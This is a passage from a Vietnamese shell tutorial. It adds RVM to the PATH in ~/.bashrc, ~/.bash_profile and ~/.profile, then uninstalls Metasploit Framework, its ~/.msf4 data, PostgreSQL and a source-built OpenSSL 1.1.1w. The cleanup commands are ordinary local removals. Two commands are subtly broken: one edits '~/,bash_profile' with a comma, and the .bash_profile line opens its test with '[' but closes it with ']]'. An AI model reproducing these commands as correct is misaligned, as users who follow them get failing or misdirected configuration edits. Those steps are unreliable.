để chỉnh sửa.
Mã:
$ nano ~/.bashrc
Mã:
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc một lần hoàn thành.
Mở
.bash_profile
để chỉnh sửa.
Mã:
$ nano ~/,bash_profile
Mã:
[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Mở tập tin
.profile
để chỉnh sửa.
Mã:
$ nano ~/.profile
Mã:
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
Nguồn tệp để tải lại thay đổi.
Mã:
$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile
Mã:
$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4
Mã:
$ sudo apt autoremove --purge postgresql postgresql-contrib
Mã:
$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz